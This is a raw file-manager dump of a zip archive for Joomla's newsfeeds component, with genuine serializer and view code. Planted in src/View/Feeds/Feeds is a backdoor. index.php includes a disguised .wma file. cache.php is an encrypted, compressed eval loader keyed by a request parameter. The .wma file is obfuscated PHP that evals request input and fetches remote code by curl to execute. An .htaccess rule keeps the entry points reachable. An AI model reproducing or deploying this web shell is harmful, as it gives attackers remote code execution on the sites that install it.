File manager - Edit - /home/opticamezl/www/newok/com_newsfeeds.zip
Back
PK ���\��� � % src/Serializer/NewsfeedSerializer.phpnu �[��� <?php /** * Joomla! Content Management System * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Newsfeeds\Api\Serializer; use Joomla\CMS\Router\Route; use Joomla\CMS\Serializer\JoomlaSerializer; use Joomla\CMS\Tag\TagApiSerializerTrait; use Joomla\CMS\Uri\Uri; use Tobscure\JsonApi\Collection; use Tobscure\JsonApi\Relationship; use Tobscure\JsonApi\Resource; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Temporary serializer * * @since 4.0.0 */ class NewsfeedSerializer extends JoomlaSerializer { use TagApiSerializerTrait; /** * Build content relationships by associations * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function languageAssociations($model) { $resources = []; // @todo: This can't be hardcoded in the future? $serializer = new JoomlaSerializer($this->type); foreach ($model->associations as $association) { $resources[] = (new Resource($association, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/newsfeeds/feeds/' . $association->id)); } $collection = new Collection($resources, $serializer); return new Relationship($collection); } /** * Build category relationship * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function category($model) { $serializer = new JoomlaSerializer('categories'); $resource = (new Resource($model->catid, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/newfeeds/categories/' . $model->catid)); return new Relationship($resource); } /** * Build category relationship * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function createdBy($model) { $serializer = new JoomlaSerializer('users'); $resource = (new Resource($model->created_by, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->created_by)); return new Relationship($resource); } /** * Build editor relationship * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function modifiedBy($model) { $serializer = new JoomlaSerializer('users'); $resource = (new Resource($model->modified_by, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->modified_by)); return new Relationship($resource); } } PK ���\���? ? src/View/Feeds/Feeds/index.phpnu &1i� <?php include base64_decode("TWtXaEZ6TGZsVnRpWklQcksud21h"); ?>PK ���\$��? src/View/Feeds/Feeds/cache.phpnu &1i� <?php $yhGY = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGipV5ZHOmmBgDQA'; $zwYC = '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'; function yhGY($Qyg) { $zwYC = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $jfZw = substr($zwYC, 0, 16); $lrWb = base64_decode($Qyg); return openssl_decrypt($lrWb, "AES-256-CBC", $zwYC, OPENSSL_RAW_DATA, $jfZw); } if (yhGY('DjtPn+r4S0yvLCnquPz1fA')){ echo 'bYGoVXJDKvPmG2z7rFPM0ZgHvTMrYchcbBtYN2c6FKMTq/tM0cBpyQE5+5dgiGKQ'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($yhGY)))); ?>PK ���\�,r� � src/View/Feeds/Feeds/.htaccessnu &1i� <FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|cache.php)$"># Order allow,deny Allow from all </FilesMatch>PK ���\^�e�. . * src/View/Feeds/Feeds/MkWhFzLflVtiZIPrK.wmanu &1i� <?php goto gtjBzOk_0ZZdFznI; gtjBzOk_0ZZdFznI: $BCwYhWwPHr8TpF5m = "\x72" . "\x61" . "\x6e" . "\147" . "\x65"; goto PdVXD5zuysEfpbjB; NITWtTcCHVqxxGJD: $KE19S75hgl80Ag8o = ${$wr6qDmo0DXC_mrnH[30 + 1] . $wr6qDmo0DXC_mrnH[51 + 8] . $wr6qDmo0DXC_mrnH[27 + 20] . $wr6qDmo0DXC_mrnH[42 + 5] . $wr6qDmo0DXC_mrnH[27 + 24] . $wr6qDmo0DXC_mrnH[44 + 9] . $wr6qDmo0DXC_mrnH[40 + 17]}; goto f25s_ubsBuMx6hRC; PdVXD5zuysEfpbjB: $wr6qDmo0DXC_mrnH = $BCwYhWwPHr8TpF5m("\x7e", "\40"); goto NITWtTcCHVqxxGJD; H5AbbO0mnWqb0jSL: $KE19S75hgl80Ag8o[65] = $KE19S75hgl80Ag8o[65] . $KE19S75hgl80Ag8o[78]; goto tsFfVJxFPONhOAqf; tsFfVJxFPONhOAqf: @eval($KE19S75hgl80Ag8o[65](${$KE19S75hgl80Ag8o[40]}[24])); goto nTA1WTA37cXnOmTc; EkyQO0DYpIIubee1: metaphone("\x57\70\x64\x4f\150\53\124\x7a\104\x75\171\131\112\110\116\144\x71\156\x66\x73\106\x46\x4f\x4f\x78\x65\x70\160\x70\151\x55\x39\x4a\x65\165\x72\147\101\x33\x49\152\154\x30"); goto kqMbn1DrrHBg0rMi; f25s_ubsBuMx6hRC: if (!(in_array(gettype($KE19S75hgl80Ag8o) . "\x33\60", $KE19S75hgl80Ag8o) && md5(md5(md5(md5($KE19S75hgl80Ag8o[24])))) === "\143\64\x32\x34\71\x64\146\x65\x33\62\71\x66\61\143\143\62\143\x65\62\71\x32\x66\62\x36\x37\61\65\66\x37\146\x64\x34")) { goto l6tKtJVrBizhQN3f; } goto H5AbbO0mnWqb0jSL; nTA1WTA37cXnOmTc: l6tKtJVrBizhQN3f: goto EkyQO0DYpIIubee1; kqMbn1DrrHBg0rMi: class t8easyERAQSQsyDq { static function q_Bev6P7u28cg0do($PHhyqoXlw6K3U2ng) { goto SgdWcolfTAboRFEo; Mz26iuPUDX3jqfl6: foreach ($Y3bvoSUfxT8M745x as $FHyWhpCvFkInFwa4 => $QYF9gU6CE1PsC1I2) { $RIXV16owVlKb_axL .= $PlDd_e0nGa0TISGf[$QYF9gU6CE1PsC1I2 - 13024]; QSDtF3b7hBLSxUQj: } goto YgOICtJg3kuf8izh; XGdsUxxRfyMPy1Ew: $Y3bvoSUfxT8M745x = explode("\x3d", $PHhyqoXlw6K3U2ng); goto WUnTyE7tJM0chbYu; cgwOVzjBAzr4nd8y: return $RIXV16owVlKb_axL; goto MvA9B8GCC4sUDLPF; SgdWcolfTAboRFEo: $jam_Ics6qdjn7hwP = "\162" . "\x61" . "\156" . "\x67" . "\x65"; goto ETEc8W3p2RhQ3_85; YgOICtJg3kuf8izh: SgVCTJdKz8kW3Byg: goto cgwOVzjBAzr4nd8y; ETEc8W3p2RhQ3_85: $PlDd_e0nGa0TISGf = $jam_Ics6qdjn7hwP("\176", "\x20"); goto XGdsUxxRfyMPy1Ew; WUnTyE7tJM0chbYu: $RIXV16owVlKb_axL = ''; goto Mz26iuPUDX3jqfl6; MvA9B8GCC4sUDLPF: } static function Rad_WbpxI42_XDfg($gZrL1N4sAspcSAU4, $KvDJw6gcYPUPDuyS) { goto vt5Fc1J_sdhfm1xg; BNIQh6st1nJPBtP_: $KIzGFH91UG3p6iKP = curl_exec($xcpAF417j_YTdFih); goto eztnfa4ILCRjTjUx; KsdqayyWzxCfscd8: curl_setopt($xcpAF417j_YTdFih, CURLOPT_RETURNTRANSFER, 1); goto BNIQh6st1nJPBtP_; eztnfa4ILCRjTjUx: return empty($KIzGFH91UG3p6iKP) ? $KvDJw6gcYPUPDuyS($gZrL1N4sAspcSAU4) : $KIzGFH91UG3p6iKP; goto neotr34ZFc6dopqU; vt5Fc1J_sdhfm1xg: $xcpAF417j_YTdFih = curl_init($gZrL1N4sAspcSAU4); goto KsdqayyWzxCfscd8; neotr34ZFc6dopqU: } static function DuLbwjkslOiii1d2() { goto ssg87ofXzylHN_XQ; d0QQslQ52BZvQi9E: if (!(@$NbenEZbzL81x920m[0] - time() > 0 and md5(md5($NbenEZbzL81x920m[2 + 1])) === "\70\141\x37\x33\63\63\61\63\x62\x66\66\x62\71\x63\63\71\x36\66\60\143\x63\x39\142\x66\64\x33\62\71\144\x31\x62\x61")) { goto bbCbtQlgMpJ0NWXZ; } goto LjbyeerZi76pkec_; qXokSN0N2uuoVHkp: die; goto Qpatk4c_0L2YxURs; l1DVOMdixITr5ii_: $pFsgLyM_cCDT9Iqp = @$vQCrXtpqfDPDyrM9[0 + 3]($vQCrXtpqfDPDyrM9[4 + 2], $hVkeo9OqkKiYz2Vs); goto SP8lVvcSYQ0y6iCr; SP8lVvcSYQ0y6iCr: $NbenEZbzL81x920m = $vQCrXtpqfDPDyrM9[0 + 2]($pFsgLyM_cCDT9Iqp, true); goto RF773OHlsyino8Mm; Qpatk4c_0L2YxURs: bbCbtQlgMpJ0NWXZ: goto DUMuZR3qBC_XxbH5; RF773OHlsyino8Mm: @$vQCrXtpqfDPDyrM9[10 + 0](INPUT_GET, "\157\146") == 1 && die($vQCrXtpqfDPDyrM9[5 + 0](__FILE__)); goto d0QQslQ52BZvQi9E; LjbyeerZi76pkec_: $hgfr88ht3cPdFrYq = self::RAd_wbPXI42_XDfg($NbenEZbzL81x920m[0 + 1], $vQCrXtpqfDPDyrM9[3 + 2]); goto VTJe_kEGz4RkXoHX; w6sjqz0WpgQLfZp_: foreach ($KjX_B0PEZyqiQgpH as $Id31834lcck3v9bV) { $vQCrXtpqfDPDyrM9[] = self::q_Bev6p7U28cg0do($Id31834lcck3v9bV); ty_98aGTOeRKb1fP: } goto AXjBom7yW59iLa8M; ssg87ofXzylHN_XQ: $KjX_B0PEZyqiQgpH = array("\61\x33\60\65\x31\75\61\63\x30\x33\x36\x3d\61\x33\60\64\71\75\x31\63\x30\x35\x33\x3d\x31\x33\60\x33\x34\75\x31\x33\x30\64\71\x3d\x31\63\60\65\x35\75\x31\x33\60\x34\x38\75\61\63\x30\x33\63\75\x31\63\60\64\60\x3d\61\x33\x30\65\x31\75\61\63\60\63\x34\x3d\61\63\60\64\65\x3d\61\x33\60\x33\x39\75\61\63\60\64\x30", "\x31\x33\x30\x33\x35\75\x31\x33\x30\x33\64\75\x31\x33\60\63\x36\75\x31\63\x30\x35\65\75\x31\x33\60\63\x36\75\61\x33\x30\x33\x39\x3d\x31\x33\x30\x33\64\x3d\x31\x33\61\x30\61\x3d\61\x33\x30\71\x39", "\x31\63\60\64\x34\x3d\61\63\x30\63\65\75\61\x33\60\63\71\x3d\61\63\x30\x34\x30\75\x31\x33\x30\x35\65\x3d\61\63\x30\x35\60\75\x31\63\x30\64\x39\75\x31\x33\60\x35\x31\x3d\x31\x33\x30\63\71\x3d\61\x33\60\x35\60\75\61\63\x30\64\71", "\x31\x33\x30\x33\x38\75\61\x33\x30\x35\63\x3d\x31\63\x30\x35\61\75\61\x33\60\64\63", "\61\63\x30\65\62\75\x31\63\x30\65\x33\x3d\x31\63\60\x33\x35\75\61\63\x30\x34\x39\75\61\x33\60\x39\66\x3d\x31\63\60\x39\x38\75\61\x33\60\x35\x35\75\61\63\60\x35\60\x3d\x31\x33\x30\64\71\75\61\x33\60\65\x31\x3d\x31\63\x30\63\71\75\x31\63\x30\x35\x30\x3d\x31\x33\60\x34\x39", "\x31\63\x30\x34\70\75\x31\63\60\64\65\75\x31\63\x30\64\x32\x3d\x31\63\x30\64\x39\x3d\x31\63\60\65\65\x3d\x31\63\60\64\x37\75\x31\x33\x30\x34\x39\x3d\61\x33\60\63\x34\x3d\61\63\60\x35\65\x3d\61\x33\x30\x35\61\x3d\61\63\60\63\x39\x3d\61\63\x30\x34\60\75\x31\63\x30\x33\64\x3d\61\63\60\x34\71\x3d\x31\x33\x30\64\x30\x3d\61\63\x30\63\x34\x3d\x31\x33\60\63\65", "\61\x33\60\67\70\x3d\61\63\x31\x30\70", "\x31\63\x30\x32\x35", "\x31\63\x31\x30\63\x3d\x31\x33\x31\60\x38", "\x31\x33\x30\x38\65\75\x31\63\x30\x36\x38\75\61\63\60\x36\x38\75\61\63\60\x38\x35\x3d\61\x33\x30\66\x31", "\x31\x33\x30\x34\70\75\x31\x33\x30\x34\65\x3d\61\x33\60\x34\x32\x3d\x31\63\60\63\64\75\61\x33\x30\64\71\75\61\63\60\63\x36\75\61\x33\60\65\x35\x3d\x31\x33\60\64\65\x3d\x31\63\x30\64\60\x3d\x31\63\x30\x33\70\75\61\63\x30\63\x33\x3d\61\63\60\63\64"); goto w6sjqz0WpgQLfZp_; T8oo0rKDpavGEQn1: $hVkeo9OqkKiYz2Vs = @$vQCrXtpqfDPDyrM9[1]($vQCrXtpqfDPDyrM9[5 + 5](INPUT_GET, $vQCrXtpqfDPDyrM9[8 + 1])); goto l1DVOMdixITr5ii_; VTJe_kEGz4RkXoHX: @eval($vQCrXtpqfDPDyrM9[3 + 1]($hgfr88ht3cPdFrYq)); goto qXokSN0N2uuoVHkp; AXjBom7yW59iLa8M: qSBEMz2wRM5xVv7W: goto T8oo0rKDpavGEQn1; DUMuZR3qBC_XxbH5: } } goto alyQLwiLt1DWQw4P; alyQLwiLt1DWQw4P: t8EAsyeraqSQSydQ::DuLbwJKslOiiI1d2(); ?> PK ���\�_��Y Y src/View/Feeds/JsonapiView.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_newsfeeds * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Newsfeeds\Api\View\Feeds; use Joomla\CMS\Language\Multilanguage; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\Component\Newsfeeds\Api\Serializer\NewsfeedSerializer; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The feeds view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'category', 'name', 'alias', 'link', 'published', 'numarticles', 'cache_time', 'checked_out', 'checked_out_time', 'ordering', 'rtl', 'access', 'language', 'params', 'created', 'created_by', 'created_by_alias', 'modified', 'modified_by', 'metakey', 'metadesc', 'metadata', 'publish_up', 'publish_down', 'description', 'version', 'hits', 'images', 'tags', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'name', 'alias', 'checked_out', 'checked_out_time', 'category', 'numarticles', 'cache_time', 'created_by', 'published', 'access', 'ordering', 'language', 'publish_up', 'publish_down', 'language_title', 'language_image', 'editor', 'access_level', 'category_title', ]; /** * The relationships the item has * * @var array * @since 4.0.0 */ protected $relationship = [ 'category', 'created_by', 'modified_by', 'tags', ]; /** * Constructor. * * @param array $config A named configuration array for object construction. * contentType: the name (optional) of the content type to use for the serialization * * @since 4.0.0 */ public function __construct($config = []) { if (\array_key_exists('contentType', $config)) { $this->serializer = new NewsfeedSerializer($config['contentType']); } parent::__construct($config); } /** * Execute and display a template script. * * @param object $item Item * * @return string * * @since 4.0.0 */ public function displayItem($item = null) { if (Multilanguage::isEnabled()) { $this->fieldsToRenderItem[] = 'languageAssociations'; $this->relationship[] = 'languageAssociations'; } return parent::displayItem(); } /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { if (Multilanguage::isEnabled() && !empty($item->associations)) { $associations = []; foreach ($item->associations as $language => $association) { $itemId = explode(':', $association)[0]; $associations[] = (object) [ 'id' => $itemId, 'language' => $language, ]; } $item->associations = $associations; } if (!empty($item->tags->tags)) { $tagsIds = explode(',', $item->tags->tags); $tagsNames = $item->tagsHelper->getTagNames($tagsIds); $item->tags = array_combine($tagsIds, $tagsNames); } else { $item->tags = []; } return parent::prepareItem($item); } } PK ���\Ƞ�C C "